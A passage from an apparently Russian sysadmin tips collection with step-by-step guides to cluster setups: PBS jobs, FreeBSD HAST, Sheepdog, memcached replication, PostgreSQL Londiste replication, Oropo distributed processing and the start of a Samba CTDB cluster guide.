    например: количество узлов и процессоров необходимых на задачу, количество
    оперативной памяти, архитектуру узлов, время расчета и далее скрип и/или
    программы которые необходимо выполнить на кластере.
    
    Оформим тестовую задачу в виде PBS скрипта.
    
       $ cat test.pbs
       #!/bin/sh
       #PBS -N test
       #PBS -l nodes=2:ppn=4,walltime=00:00:50
       #PBS -m abe
       #PBS -M testuser@localhost
       #PBS -V
       echo "File containing nodes:"
       echo $PBS_NODEFILE
       echo "Nodes for computing:"
       cat $PBS_NODEFILE
       sleep 20
    
    Значение параметров:
    
        * -N - название задания, носит информативный характер
        * -l - список ресурсов необходимых для выполнения вычисления
        * -m - в каких случаях слать пользователю почтовое уведомдение 
          (a - задача отменена, b - задача начала выполняться, e- задача завершена).
        * -M - на какой ящик отправлять уведомления.
        * -V - экспортировать переменные окружения в скрипт. 
    
    запуск задания:
    
       $ qsub test.pbs
    
    При выполнении этого скрипта доступна одна важная переменная окружения
    устанавливаемая менеджером ресурсов, это $PBS_NODEFILE. Переменная содержит
    путь к файлу со списком узлов которые выделены нам для расчета в соответствии с
    нашими запросами. Далее в зависимости от того как наше ПО производит
    распараллеливание - обрабатываем в своем скрипте $PBS_NODEFILE и запускаем
    необходимый расчет указывая свой программе на каких узлах и сколько процессоров
    она может использовать. Правильно будет вынести все эти вычисления в отдельный
    скрипт доступный пользователям для запуска, который будет вызываться
    пользователями из своих PBS скриптов. Пример:
    
       #!/bin/bash
       #PBS -N test_2
       #PBS -l nodes=2:ppn=4,walltime=00:00:50
       #PBS -m abe
       #PBS -M testuser@localhost
       #PBS -V
       #тут пользователь может установить свои переменные окружения необходимые для вычисления, например путь к данным
       export DATADIR='/home/testuser/data'
       ...
       #запускаем скрипт/программу которая обработает переменные и запустит вычисление на нужных узлах
       /data/bin/my_super_programm
    
     
    ----* Создание отказоустойчивых хранилищ во FreeBSD, при помощи HAST (доп. ссылка 1)   Автор: mef  [комментарии]
     
    Введение.
    
    HAST (Highly Avalible Storage) технология позволяющая создавать
    отказоустойчивые хранилища (Primary-Secondary) используя несколько машин. Эта
    технология может помочь при создании кластера высокой доступности (HA). HAST
    появился в FreeBSD начиная с 8.1. В текущей версии HAST можно использовать
    только две машины. HAST работает на уровне блоков и не зависит от файловой
    системы, т.е. можно использовать ZFS или UFS.
    
    Эта технология работает по TCP. Для работы используется демон hastd и утилита
    для управления hastctl.
    
    Использование.
    
    Имеем две машины (ноды)
       host1 192.168.1.2
       host2 192.168.1.9
    
    на обоих машинах стоит дополнительный диск ad3.
    HAST готов к использованию сразу, без дополнительных установок. Для
    конфигурирования создадим файл /etc/hast.conf
    
       resource my {
           on host1 {
                   local /dev/ad3
                   remote 192.168.1.9
           }
           on host2 {
                   local /dev/ad3
                   remote 192.168.1.2
           }
       }
    
    т.е. host1 имеет диск ad3 и синхронизируется с 192.168.1.9 (host2), а для host2
    соответственно наоборот.
    
    Сделайте такой же файл на другой машине.
    
       host1# hastctl create my
       host1# hastd
    
    После этого демон должен запустится, проверим, что все работает
    
       host1# hastctl status
    
    должно выдать вроде этого
    
       my:
       role: init
       provname: my
       localpath: /dev/ad3
       extentsize: 0
       keepdirty: 0
       remoteaddr: 192.168.1.2
       replication: memsync
       dirty: 0 bytes [/CODE]
    
    Сделаем такие же действия на другой ноде
    
       host2# hastctl create my
       host2# hastd [/CODE]
    
    Теперь раздадим роли машинам. Например, host1 будет главным, а host2 - резервным.
    
       host1# hastctl role primary my
       host2# hastctl role secondary my
    
    После того, как host2 стал secondary, должна начаться синхронизация. В первый
    раз она не должна занять много времени.
    Проверим, что все работает.
    
       host1# hastctl status
       my:
        role: primary
        provname: my
        localpath: /dev/ad3
        extentsize: 2097152
        keepdirty: 0
        remoteaddr: 192.168.1.9
        replication: memsync
        status: complete
        dirty: 0 bytes
    
    Для нас важно, чтобы был статус complete. Если статус другой, проверяем, что не так.
    
    Теперь создадим файловую систему. Не смотря на то что можно использовать UFS
    лучше использовать ZFS, чтобы не приходилось запускать fsck.
    
    Создадим пул используя появившееся устройство /dev/hast/my
    
       host1# zpool create mydisk /dev/hast/my
       host1# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    95G  84.5K    95G     0%  ONLINE  -
    
    На второй машине этого делать не надо.
    HAST настроен.
    
    Тестирование.
    
    Создадим несколько файлов в mydisk и протестируем нашу систему. Для
    тестирования перезагрузим ноду с primary, т.е. host1.
    После перезагрузки посмотрим состяние пула
    
       host1# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    -               -             -         -       FAULTED          -
    
    Это случилось потому что пропало устройство /dev/hast/my Экспортируем пул и
    поменяем роль host1 на secondary
    
       host1# zpool export -f my
       host1# hastctl role secondary my
    
    А host2 сделаем основным и импортируем пул.
    
       host2# hastctl role primary my
       host2# zpool import -f mydisk
       host2# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    95G    84.5K    95G     0%    ONLINE          -
    
    Проверим наши файлы, они должны остаться.
    
    Ошибки.
    
    По умолчанию логи можно посмотреть в /var/log/message.
    В результате некоторых действий можно добиться ситуации, когда вы обнаружите в
    логах запись Split brain - разделение сознания.
    
    Это означает, что каждая из нод думает, что она главная и живет собственной
    жизнью. Такое может произойти если вы умудритесь
    записать разную информацию на нодах или поставить обои машины в роль primary.
    Исправить эту ситуацию можно выбрав ту машину которая будет у вас secondary, и
    нужно сделать на ней:
    
       hastctl role init my
       hastctl create my
       hastctl role secondary my
    
    После этого должен запуститься процесс синхронизации. Он может занять продолжительное время.
    
    
    Автоматизация.
    
    Эта система сделана для кластеризации, а именно для кластера высокой
    доступности. Например можно воспользоваться CARP
    чтобы сделать постоянным. Можно написать собственные скрипты, а можно
    воспользоваться стандартными. Автором HAST уже написаны готовые скрипты которые
    умеют определять на какой ноде сейчас primary.
    
    Для работы следует установить ucarp:
    
       cd /usr/ports/net/ucarp
       make && make install clean && rehash
    
    Скрипты находятся в /usr/share/expamles/hast/
    Скопируйте их в /домашний каталог/sbin/hastd/ так предлагается по умолчанию и
    отредактируйте переменные в начале скриптов
    
       ucarp.sh, ucarp_down.sh, ucarp_up.sh
    
    Сделайте это на обоих нодах и запустите ucarp.sh на обоих нодах.
    
    Дополнительные возможности.
    
    У HAST существует три типа репликаций. Они различаются тем когда данные считаются записанными.
    
    * memsync - Данные операции записи считаются завершенными когда запись локальна завершена 
    и когда удаленный узел принял данные, но до того как записать данные. Данные на
    удаленной ноде начинают
    писаться, как только отправлен ответ.
    
    * fullsync - Данные операции записи считаются завершенными когда запись завершена локально и на 
    удаленной ноде запись тоже завершена.
    
    * async - Данные записи считаются завершенными когда запись завершена локально.
    Это наиболее быстрый способ записи.
    
    На момент написания статьи работает только memsync.
    Дополнительную информацию можно прочитать на http://wiki.freebsd.org/HAST
    
    Заключение.
    
    HAST только появился, у него богатые возможности для организации хранилища
    высокой доступности. В данный момент еще не все работает, но это хорошее начало
    для кластеризации на FreeBSD.
    
    Перед тем как работать с HAST в боевых условиях рекомендую потренироваться. У
    меня были ситуации, когда secondary не хотел брать данные с primary, было что
    неаккуратные движения приводили к "Split Brain". Данные, правда, потеряны не
    были, но много времени было потеряно на синхронизации.
    
     
    ----* Запуск виртуальных машин Qemu и KVM в распределенном хранилище Sheepdog (доп. ссылка 1)   [комментарии]
     
    Пример настройки Sheepdog в Fedora Linux для организации выполнения в Qemu или
    KVM  виртуального окружения поверх распределенного на несколько машин
    высоконадежного хранилища Sheepdog (подробнее см. http://www.opennet.ru/27251/ )
    
    
    Устанавливаем и запускаем кластерный движок Corosync (http://www.corosync.org/)
    на всех узлах кластера хранения:
    
       yum install corosync
       service corosync start
    
    После интеграции sheepdog-драйвера в состав пакета qemu и qemu-kvm, достаточно будет выполнить:
    
       yum install qemu-kvm
    
    (сейчас еще нужно собирать драйвер из исходных текстов)
    
    
    Запускаем на каждом узле кластера хранения управляющий процесс Sheepdog,
    передав в качестве аргумента директориею для хранения объектов в локальной ФС каждого узла:
    
       sheep /store
    
    Форматируем и настраиваем параметры кластера хранения, указываем дублирование
    каждого блока данных на три разных узла:
    
       collie cluster format --copies=3
    
    Создаем в распределенном хранилище дисковый образ, размером 256Гб, для
    виртуальной машины с именем Alice:
    
       qemu-img create sheepdog:Alice 256G
    
    Импортируем существующий образ виртуальной машины в распределенное хранилище с именем Bob:
    
       qemu-img convert ~/amd64.raw sheepdog:Bob
    
    Смотрим список активных хранилищ:
    
       collie vdi list
    
       Bob          0  2.0 GB  1.6 GB  0.0 MB 2010-03-23 16:16      80000
       Alice        0  256 GB  0.0 MB  0.0 MB 2010-03-23 16:16      40000
    
    Запускаем виртуальную машину:
    
       qemu-system-x86_64 sheepdog:Alice
    
    Создаем снапшот виртуальной машины Alice:
    
       qemu-img snapshot -c name sheepdog:Alice
    
    Параллельно запускаем созданный снапшот:
    
       qemu-system-x86_64 sheepdog:Alice:1
    
    Клонируем снапшот Alice:1 в новую виртуальную машину Charlie
    
       qemu-img create -b sheepdog:Alice:1 sheepdog:Charlie
    
    Просматриваем состояние узлов кластера:
    
       collie node list
    
     
    ----* Организация мульти-мастер репликации двух memcached-серверов (доп. ссылка 1)   [комментарии]
     
    Для организации автоматической репликации данных между двумя серверами
    memcached (http://memcached.org/) можно использовать набор патчей
    http://repcached.lab.klab.org/ . Система поддерживает мульти-мастер режим и
    реплицирует данные в асинхронном режиме, поддерживаются все команды memcached
    (set, add, delete, incr/decr, flush_all, cas).
    
    Например, используя репликацию удобно организовать синхронизированное хранение
    в memcached номеров пользовательских сессий, при раздельном обслуживании частей
    сайта несколькими серверами.
    
    Ниже представлен пример настройки двух реплицированных memcached-серверов в Debian/Ubuntu.
    
    Для работы memcached в PHP подключаем соответствующий модуль и указываем
    хранить идентификаторы сессий через него:
    
       extension=memcache.so
       session.save_handler = memcache
       session.save_path = "tcp://192.168.168.61:11211?persistent=1,tcp://192.168.168.62:11211?persistent=1"
    
    При такой конфигурации идентификаторы сессий всегда будут сохраняться сразу на
    двух узлах memcached. Но у такой схемы есть проблемы: если один узел выйдет из
    строя или будет перезагружен, все ранее сохраненные номера на этом узле сессий
    будут потеряны.
    
    Автоматизировать синхронизацию данных между несколькими memcached-серверами
    можно при помощи repcached. При этом репликация производится в прозрачном
    режиме, пользовательские приложения обращаются только к локальному memcached, а
    всю работу по репликации выполняет repcached, делая это в асинхронном режиме.
    
    1. Копируем исходные тексты repcached c http://repcached.lab.klab.org/ ,
    дополнительно установив пакет libevent-dev, который понадобиться для сборки:
    
       # tar xvf memcached-1.2.8-repcached-2.2.tar
       # cd memcached-1.2.8-repcached-2.2/
       # apt-get install libevent-dev checkinstall
    
    Компилируем и устанавливаем в /usr/local/bin/memcached:
    
       # ./configure --enable-replication
       # make
    
    Устанавливаем через создание пакета вместо make install
       # checkinstall
    
    
    Формируем опции для запуска, создаем /etc/default/memcachedrep:
    
        DAEMON_ARGS="-m 64 -p 11211 -u root -P /var/run/memcachedrep.pid -d -x 192.168.168.2 -X 11212"
    
    где 192.168.168.2 - адрес второго сервера, куда следует реплицировать данные,
    11212 - номер порта, который будет использоваться для репликации данных.  На
    втором сервере по аналогии прописываем адрес первого сервера.
    
    Создаем скрипт для запуска /etc/init.d/memcachedrep:
    
    
       #! /bin/sh
       ### BEGIN INIT INFO
       # Provides:             memcached
       # Required-Start:       $syslog
       # Required-Stop:        $syslog
       # Should-Start:         $local_fs
       # Should-Stop:          $local_fs
       # Default-Start:        2 3 4 5
       # Default-Stop:         0 1 6
       # Short-Description:    memcached - Memory caching daemon    replicated
       # Description:          memcached - Memory caching daemon  replicated
       ### END INIT INFO
       # Author: Marcus Spiegel <marcus.spiegel@gmail.com>
    
       PATH=/sbin:/usr/sbin:/bin:/usr/bin
       DESC="memcachedrep"
       NAME=memcached
       DAEMON=/usr/local/bin/$NAME
       DAEMON_ARGS="--options args"
       PIDFILE=/var/run/memcachedrep.pid
       SCRIPTNAME=/etc/init.d/$DESC
       VERBOSE="yes"
       # Exit if the package is not installed
       [ -x "$DAEMON" ] || exit 0
       # Read configuration variable file if it is present
       [ -r /etc/default/$DESC ] && . /etc/default/$DESC
       # Load the VERBOSE setting and other rcS variables
       . /lib/init/vars.sh
       # Define LSB log_* functions.
       # Depend on lsb-base (>= 3.0-6) to ensure that this file is   present.
       . /lib/lsb/init-functions
       #
       # Function that starts the daemon/service
       #
       do_start()
       {
    	start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $DAEMON --test > /dev/null \
    		|| return 1
    	start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $DAEMON -- \
    		$DAEMON_ARGS \
    		|| return 2
       }
       #
       # Function that stops the daemon/service
       #
       do_stop()
       {
          start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --pidfile $PIDFILE --name $NAME
          RETVAL="$?"
          [ "$RETVAL" = 2 ] && return 2
    	start-stop-daemon --stop --quiet --oknodo --retry=0/30/KILL/5 --exec $DAEMON
    	[ "$?" = 2 ] && return 2
    	# Many daemons don't delete their pidfiles when they exit.
    	rm -f $PIDFILE
    	return "$RETVAL"
       }
       #
       # Function that sends a SIGHUP to the daemon/service
       #
       do_reload() {
    	start-stop-daemon --stop --signal 1 --quiet --pidfile $PIDFILE --name $NAME
    	return 0
       }
       case "$1" in
         start)
    	[ "$VERBOSE" != no ] && log_daemon_msg "Starting $DESC" "$NAME"
    	do_start
    	case "$?" in
    		0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;;
    		2) [ "$VERBOSE" != no ] && log_end_msg 1 ;;
    	esac
    	;;
         stop)
    	[ "$VERBOSE" != no ] && log_daemon_msg "Stopping $DESC" "$NAME"
    	do_stop
    	case "$?" in
    		0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;;
    		2) [ "$VERBOSE" != no ] && log_end_msg 1 ;;
    	esac
    	;;
         restart|force-reload)
    	log_daemon_msg "Restarting $DESC" "$NAME"
    	do_stop
    	case "$?" in
    	  0|1)
    		do_start
    		case "$?" in
    			0) log_end_msg 0 ;;
    			1) log_end_msg 1 ;; # Old process is still running
    			*) log_end_msg 1 ;; # Failed to start
    		esac
    		;;
    	  *)
    	  	# Failed to stop
    		log_end_msg 1
    		;;
    	esac
    	;;
         *)
    	#echo "Usage: $SCRIPTNAME {start|stop|restart|reload|force-reload}" >&2
    	echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
    	exit 3
    	;;
       esac
       exit 0
    
    Тестируем:
    
    На первом узле помещаем ключ в хранилище:
    
       $ telnet 127.0.0.1 11211
    
       set foo 0 0 3
       bar
       STORED
    
    На втором узле убеждаемся, что ключи реплицировались успешно:
    
       telnet 127.0.0.1 11211
    
       get foo
       VALUE foo 0 3
       bar
       END
    
    Далее перезапускаем один из memcached-серверов и по аналогии проверяем,
    восстановились ли на нем данные.
    
     
    ----* Установка Londiste, системы асинхронной мастер-слэйв репликации PostgreSQL (доп. ссылка 1)   Автор: Sergey Konoplev  [комментарии]
     
    Инструкция содержит подробное пошаговое описание процесса настройки репликации
    на основе Londiste, системы асинхронной мастер-слэйв репликации из пакета
    SkyTools от Skype.
    
    Допустим есть 2 сервера - host1 и host2. На host1 работает кластер с одной или
    несколькими базами, которые необходимо реплицировать на host2. Другими словами
    host1 будет мастером, а host2 слейвом.
    
    Прежде всего необходимо установить пакет SkyTools. Его исходники можно найти на
    официальном сайте проекта
    http://developer.skype.com/SkypeGarage/DbProjects/SkyTools или в wiki
    http://wiki.postgresql.org/wiki/Skytools . Там же найдёте всю документацию и
    ссылки на дополнительные материалы. Советую обращаться к ним если захотите
    узнать дополнительные подробности о вещах, которых я буду в данной статье
    касаться поверхностно.
    
    Итак, всё ПО необходимое для репликации установлено, но, прежде чем начать
    настройку, хочу рассказать о принципах работы Londiste в очень общих словах.
    
    Londiste базируется на механизме очередей PgQ, который тоже входит в пакет
    SkyTools. Информация об изменениях данных попадает в эти очереди из
    спец-триггеров, навешиваемых на реплицируемые таблицы. PgQ, в свою очередь,
    основывается на пакетной обработке и использует так называемый ticker, утилиту
    (демон), генерирующую события готовности пачек данных. Эти события слушает
    демон Londiste и по их наступлению переносит пачки с мастера на слейв.
    
    Репликация на базе Londiste может работать по схеме - один мастер на несколько
    слейвов. В связи с этим я буду делать пометки, различающие установку репликации
    первого слейва и последующих. Также я буду различать репликацию отдельной базы
    и кластера целиком.
    
    Описанный процесс не требует даунтайма.
    
    Замечание: В данном описании будут часто встречаются обобщения более узких
    ситуаций, которые не тестировались во всех возможных вариантах. Так что прежде
    чем внедрять её в продакшн, тщательно протестируйте ваш процесс. Если вы
    найдёте какую-нибудь ошибку или не рабочую ситуацию, буду благодарен если сообщите.
    
    
    1. Первым делом подготовим мастер-сервер
    
    1.1. Права на мастере
    
    В данном примере все утилиты будут работать под системным пользователем
    postgres. Операции с БД я доверю также пользователю postgres (который в базе).
    Но в реальности будет правильнее сделать отдельного пользователя для этих
    утилит, смотрите по вашей ситуации.
    
    Дадим пользователю postgres доверительный доступ (без пароля) к базам на мастере со слейва.
    
    /var/lib/postgres/8.4/data/pg_hba.conf:
    
       ...
       # TYPE DATABASE USER CIDR-ADDRESS METHOD
       # host2 IP
       host db1 postgres 192.168.10.2/32 trust
       .. .
    
    Если реплицируются конкретные базы, а не весь комплект, то добавьте такие
    записи для каждой из них. В случае же репликации всех БД достаточно одной
    записи, где в колонке DATABASE указываем all. Не забудьте сделать reload серверу.
    
    1.2. Настрока ticker-а
    
    Далее создадим файл конфигурации ticker-а.
    /etc/skytools/db1-ticker.ini:
    
       [pgqadm]
       job_name = db1-ticker
       db = dbname=db1
    
       # Задержка между запусками обслуживания (ротация очередей и т.п.) в секундах
       maint_delay = 600
    
       # Задержка между проверками наличия активности (новых пакетов данных) в секундах
       loop_delay = 0.1
       logfile = /var/log/skytools/%(job_name)s.log
       pidfile = /var/run/skytools/%(job_name)s.pid
    
    Создайте подобные конфигурации для каждой реплицируемой базы.
    
    1.3. Запускаем ticker
    
    Теперь необходимо инсталлировать служебный код (SQL) и запустить ticker как
    демона для каждой из баз. Делается это с помощью утилиты pgqadm.py следующими командами:
    
       python pgqadm.py /etc/skytools/db1-ticker.ini install
       python pgqadm.py /etc/skytools/db1-ticker.ini ticker -d
    
    Проверим, что в логах (/var/log/skytools/db1-tickers.log) всё нормально. На
    данном этапе там должны быть редкие записи (раз в минуту).
    
    
    2. Далее настроим слейв
    
    2.1. Убедимся что Londiste остановлен
    
       python londiste.py -s /etc/skytools/db1-londiste.ini
    
    Повторите для всех реплицируемых баз.
    
    2.2. Востанавливаем схему базы
    
    Замечание: В данном примере подразумевается что целевая система не содержит баз
    с такими же именами как у реплицируемых.
    
    Если реплицируются отдельные базы, то прежде всего необходимо создать
    пользователей, идентичных тем, которые работали с ними на мастере. Далее
    переносим схемы этих баз на слейв (повторяем для каждой):
    
       pg_dump -s -C -h host1 -U postgres db1 |
       psql -U postgres 1>db1-restore.stdout 2>db2-restore.stderr
    
    Если реплицируем все базы целиком, то достаточно один раз сделать так:
    
       pg_dumpall -s -h host1 -U postgres |
       psql -U postgres 1>all-restore.stdout 2>all-restore.stderr
    
    Убедимся, что в лог-файлах *-restore.stderr отсутствуют ошибки кроме "роль
    postgres уже существует" (ч.г. не могу понять для чего вообще pg_dumpall дампит
    эту роль).
    
    
    2.3. Создаём конфигурацию репликатора
    
    Для каждой из реплицируемых баз создадим конфигурационные файлы:
    /etc/skytools/db1-londiste.ini:
    
       [londiste]
       job_name = db1-londiste
    
       provider_db = dbname=db1 port=5432 host=host1
       subscriber_db = dbname=db1
    
       # Это будет использоваться в качестве SQL-идентификатора, т.ч. не используйте
       # точки и пробелы.
       # ВАЖНО! Если есть живая репликация на другой слейв, именуем очередь так-же
       pgq_queue_name = db1-londiste-queue
    
       logfile = /var/log/skytools/%(job_name)s.log
       pidfile = /var/run/skytools/%(job_name)s.pid
    
       log_size = 5242880
       log_count = 3
    
    2.4. Устанавливаем Londiste в базы на мастере и слейве
    
    Теперь необходимо установить служебный SQL для каждой из созданных в предыдущем
    пункте конфигураций.
    
    Устанавливаем код на стороне мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider install
    
    и подобным образом на стороне слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber install
    
    После этого пункта на мастере будут созданы очереди для репликации.
    
    
    2.5. Запускаем процессы Londiste
    
    Для каждой реплицируемой базы делаем:
    
       python londiste.py /etc/skytools/db1-londiste.ini replay -d
    
    Таким образом запустятся слушатели очередей репликации, но, т.к. мы ещё не
    указывали какие таблицы хотим реплицировать, они пока будут работать в холостую.
    
    Убедимся что в логах нет ошибок (/var/log/skytools/db1-londistes.log).
    
    2.6. Добавляем реплицируемые таблицы
    
    Для каждой конфигурации указываем что будем реплицировать с мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider add --all
    
    и что со слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber add --all
    
    В данном примере я использую спец-параметр --all, который означает все таблицы,
    но вместо него вы можете перечислить список конкретных таблиц, если не хотите
    реплицировать все.
    
    2.7. Добавляем реплицируемые последовательности (sequence)
    
    Так же для всех конфигураций.
    
    Для мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider add-seq --all
    
    Замечание: В версиях SkyTools до 2.1.9 включительно была обнаружена ошибка при
    добавлением последовательностей на мастере используя параметр --all, т.ч. если
    у вас такая версия используйте следующий хак:
    
        for seq in $(
        psql -t -A -U postgres toozla -c "\ds" |
        awk -F '|' '{ if ($1 != "pgq" && $1 != "londiste") { print $1"."$2 } }');
        do
        python londiste.py /etc/skytools/db1-londiste.ini provider add-seq $seq;
        done
    
    
    
    Для слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber add-seq --all
    
    Точно также как и с таблицами можно указать конкретные последовательности вместо --all.
    
    
    2.8. Проверка
    
    Итак, всё что надо сделано. Теперь Londiste запустит так называемый bulk copy
    процесс, который массово (с помощью COPY) зальёт присутствующие на момент
    добавления таблиц данные на слейв, а затем перейдёт в состояние обычной репликации.
    
    Мониторим логи на предмет ошибок:
    
       less /var/log/skytools/db1-londiste.log
    
    Если всё хорошо, смотрим состояние репликации. Данные уже синхронизированы для
    тех таблиц, где статус отображается как "ok".
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber tables
    
       Table State
       public.table1 ok
       public.table2 ok
       public.table3 in-copy
       public.table4 -
       public.table5 -
       public.table6 -
       ...
    
    Для удобства представляю следующий трюк с уведомление в почту об окончании
    первоначального копирования (мыло поменять на своё ;):
    
       (
       while [ $(
       python londiste.py /etc/skytools/db1-londiste.ini subscriber tables |
       tail -n+2 | awk '{print $2}' | grep -v ok | wc -l) -ne 0 ];
       do sleep 60; done; echo '' | mail -s 'Replication done EOM' user@domain.com
       ) &
    
    Ссылки на публикации, которые мне помогли в написании этой статьи:
    
       SkyTools - PostgreSQL Wiki http://wiki.postgresql.org/wiki/Skytools
       SkyTools - Skype Developer Zone https://developer.skype.com/SkypeGarage/DbProjects/SkyTools
       PostgreSQL master slave(s) asynchronous replication - tail -f /dev/dim http://tapoueh.org/skytools.html
    
     
    ----* Обработка тысяч изображений на нескольких узлах при помощи Oropo (доп. ссылка 1)   [комментарии]
     
    Проект Oropo (http://www.oropo.org/) позволяет разнести обработку большого
    объема ресурсоемких операций на несколько машин в сети, организовав временный
    кластер. В качестве примера рассмотрим выполнение задачи уменьшения размера
    нескольких тысяч изображений с высоким разрешением.
    Для преобразования буде использовать стандартные утилиты из пакета libjpeg -
    djpeg и cjpeg. В итоге для обработки одной картинки создадим простой скрипт make_smaller.sh:
    
       #!/bin/bash
       QUALITY=30
       if [ $# -ne 1 ]; then
    	echo "arguments" 1>&2
    	exit 1;
       fi
       FILE_PATH=$1
       djpeg $FILE_PATH | cjpeg -quality $QUALITY 
    
    При выполнении операции на одном компьютере, нам бы потребовался
    последовательный перебор всех изображений в цикле:
    
       #!/bin/bash
       MAKE_SMALLER=$PWD/make_smaller.sh
       IMGS_DIR=$PWD/imgs
       TARGET_DIR=$PWD/imgs_smaller
       for file in $IMGS_DIR/*; do
    	bash $MAKE_SMALLER $file > $TARGET_DIR/${file##*/}
       done
    
     
    Используя систему Oropo Executor можно легко распараллелить выполнение
    поставленной задачи на несколько машин в сети. Как видно из следующего скрипта,
    скрипт претерпел минимальные изменения, изображения все так же перебираются
    последовательно, а их распараллеливание вынесено целиком на плечи программы oropo-system-pusher.
    
     
    Processing parallelly
    
    #!/bin/bash
    MAKE_SMALLER=$PWD/make_smaller.sh
    IMGS_DIR=$PWD/imgs
    for file in $IMGS_DIR/*; do
    	oropo-system-pusher -p "string:bash" -p "path:$MAKE_SMALLER" -p "path:$file"
    done
    
    Результат работы сохраняется в файлах /var/lib/oropo/response/*/0
     
    
    Настройка Oropo
    
    Как видим, распаралелливание было организовано предельно просто, не более
    трудно настроить работу инфраструктуры Oropo в Debian и Ubuntu.
     
    Подключаем репозиторий с готовыми пакетами oropo, в /etc/apt/sources.list добавляем:
    
       deb http://students.mimuw.edu.pl/~ms209495/oropo/debian sid main
    
    Устанавливаем:
    
       sudo apt-get update
       sudo apt-get install oropo-system
    
     
    На узлах-обработчиках заданий ставим по аналогии Oropo Executor:
    
       sudo apt-get install ap-executor
    
     
    Настраиваем центральный управляющий узел, на котором будем инициировать выполнение заданий. 
    Добавляем себя в группу  oropo:
    
       adduser `whoami` oropo
    
    Добавляем IP-адреса узлов-обработчиков:
    
       oropo-monitor-ctl --id_prefix oropomonitor --add 192.168.1.2
       oropo-monitor-ctl --id_prefix oropomonitor --add 192.168.1.3
       oropo-monitor-ctl --id_prefix oropomonitor --add 192.168.1.4
    
    Все готово !
    
     
    ----* Кластер Samba с использованием CTDB   Автор: Панков Петр  [комментарии]
     
    Введение
    
    Данная статья описывает механизм развертывания файлового сервера на
    предварительно поднятом кластере высокой готовности (High-Aviability).
    Предполагается, что все кластерные службы, а так же службы обеспечения высокой
    готовности настроены и запущены. В моем случае, кластер состоит из 2-х узлов.
    
    Собственно ПО
    
    Поясню выбор ПО и, собственно, для чего это все делается.
    
    1. Чтобы поднять кластер из соединенных между собой каналами связи серверов,
    необходимо установить некоторые службы для централизованного управления
    ресурсами, а также использовать кластерную ФС для организации общего хранилища.
    В случае, если используется ОС от RedHat, сюда входят:
    
    - CMAN - или cluster manager - служба управления кластером. демон, который
    соединяет и отсоединяет узлы от кластера. Выполняется на каждой ноде;
    
    - CCSD - это демон, который обеспечивает доступ к файлу
    конфигурации(cluster.conf) другим кластерным приложениям. Выполняется на каждом узле;
    
    - fencing - часть кластерной системы конфигурации. Этот демон блокирует доступ
    узлу, с которым отсутствует связь, к общим ресурсам кластера.
    
    - GFS2 в качестве кластерной ФС.
    
    2. Чтобы поднять кластер высокой готовности, необходимо решить ряд задач, а
    именно, обеспечить целостность данных и доступность ресурсов при отказе одного
    из узлов.
    
    - DRBD. По сути, сетевой RAID1. Используется для репликации данных. Таким
    образом данные всегда доступны при отказе одного из узлов. Начиная с версии 8,
    DRBD позволяет организовать работу всех устройств в режиме "primary", в отличае
    от предыдущих версий, где primary устройство было единственное.
    
    - HeartBeat. Механизизм "сердцебиения". Эта служба "наблюдает" за узлами, и, в
    случае, отказа одного из них, передает задачу другому, рабочему узлу. Таким
    образом, достигается доступность сервисов.
    
    3. Чтобы поднять файловый сервер на данном кластере и использовать его для
    Windows-клиентов, необходимо использовать Samba'у. Текущая версия Samba не
    поддерживает развертывание её на кластере из-за свеобразного механизма работы.
    
    Поясню: Samba использует легковесную базу данных (TDB) для приведения
    соответствия Windows SID к Unix UID/GID (таблицы ID-мэппинга), хранения данных
    об открытых сессиях (session.tdb), таблицу блокировок файловой системы
    (locking.tdb), а также ряд других параметров.
    
    Если использовать классическую конфигурацию на кластере "как есть", получим
    следующее: На каждом узле работает свой демон smbd и каждый узел имеет свою
    копию TDB, причем эти TDB никак не связаны между собой и не имеют механизма
    взаимодействия. Это и является проблемой. Необходимо, чтобы все узлы кластера
    "знали" в каждый момент времени некоторые значения из всех TDB. Ключевым здесь
    является - locking.tdb и session.tdb. Для этих целей и используется CTDB.
    
    CTDB преобразует стандартный механизм работы Samba с TDB: все локальные
    locking.tdb и session.tdb - преобразуются в распределенную базу данных, таблицы
    ID-мэппинга остаются под управлением локальных демонов smbd. CTDB также
    осуществляет управление демонами smbd и производит передачу управления демоном
    smbd в случае отказа узла.
    
    Подведем некоторые итоги
    
    Имеем следующее:
    
    -кластерную систему, которая используется как файловый сервер. Для этого
    используем службу Samba, запущенную одновременно на всех узлах
    
    - за её работу отвечает CTDB. Данные хранятся на локальных дисках,
    реплицируются с помощью DRBD, доступ к ним может осуществляться одновременно
    обоими узлами кластера(для этого и нужна кластерная ФС - GFS2).
    
    Таким образом, потеря данных исключена, доступность сервисов обеспечена.
    
    Служба HeartBeat в данном случае не используется, так как CTDB выполняет эти
    функции для Samba-сервера.
    
    В результате, получим: высокопроизводительный файловый сервер, обеспечивающий
    100%-ю целостность данных и непрырывность предоставляемых сервисов.
    
    Установка, настройка и запуск
    
    То, что описано ниже, делаем на всех узлах кластера.
    
    Для начала собираем CTDB из исходных текстов
    
           cd ctdb
           ./autogen.sh
           ./configure
           make
           make install
    
    
    После этого необходимо создать и отредактировать основные конфигурационные
    файлы, служащие для запуска и работы CTDB.
    
    1. Создать файл /etc/sysconfig/ctdb.sysconfig:
    
           CTDB_RECOVERY_LOCK="/synchronized/lock"
           CTDB_PUBLIC_INTERFACE=eth0
           CTDB_PUBLIC_ADDRESSES=/usr/local/etc/ctdb/public_addresses
           CTDB_MANAGES_SAMBA=yes
           CTDB_INIT_STYLE=redhat
           CTDB_NODES=/usr/local/etc/ctdb/nodes
